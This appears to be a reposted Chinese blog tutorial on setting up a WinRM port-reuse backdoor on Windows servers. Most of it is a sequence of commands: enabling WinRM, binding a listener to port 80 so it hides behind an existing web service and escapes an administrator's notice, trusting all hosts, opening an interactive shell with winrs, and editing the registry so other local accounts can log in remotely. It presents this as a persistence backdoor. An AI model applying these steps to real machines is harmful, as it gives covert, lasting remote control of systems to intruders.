Winrm远程命令/端口复用后门复现运用

一、简介

WinRM是WindowsRemoteManagementd(win远程管理)的简称。基于Web服务管理(WS-Management)标准,使用80端口或者443端口。这样一来,我们就可以在对方有设置防火墙的情况下远程管理这台服务器了。

Server2008R2及往上的系统中默认中都开启该服务,从Server2012系统后开始,该WinRM服务便被设置为默认开启。Win7系统中却默认安装此WinRM服务,但是默认为禁用状态,Win8系统和Win10系统也都默认开启WinRM服务。

PS:WIN7或2008需要手动开户WINRM

默认端口:

5985/tcp (HTTP)
5986/tcp (HTTPS)

二、开启WinRM服务

开启命令:

winrm quickconfig ‐q

开启后可通过以下命令查询:

netsh http show servicestate

 此时如果机器上开启了5985端口,说明服务已经成功启动。

三、端口复用

只需执行一条命令:

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

这条命令将会开启80端口的监听器,如若服务器上存在web服务,也不影响这条命令的执行。

同时可以通过下述命令来查看所开启的监听器:

winrm e winrm/config/listener

 而此时5985还是开启的,如果不想让管理员发现该端口,可以只设置80端口的监听器,而如果是2012服务器默认开启的,则无需进行如下步骤:

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

至此服务器就配置完成。

四、后门利用

# 启动winrm
winrm quickconfig ‐q
# 设置信任主机地址
winrm set winrm/config/Client @{TrustedHosts="*"}

本机也需开启winrm和添加信任地址,如上是cmd的添加方式

powershell如下

set-item wsman:localhostClientTrustedHosts -value 192.168.1.2

 后续利用只需要链接即可

winrs ‐r:http://www.target.com ‐u:administrator ‐p:Password [命令]

 如遇类似错误,只因chcp不同导致,执行chcp 437即可解决

 替换上述图中命令的whoami为cmd即可获取交互shell

应用环境可为内网,且不出网的情况下所创建的持续化后门方式。

利用条件:

1. 只允许administrator用户登录

  如需不限制用户登录得修改注册表位置

reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

2. 目标内网有80端口开放出来

3. 须知登录用户的明文密码

原文地址:https://www.cnblogs.com/wh4am1/p/14221847.html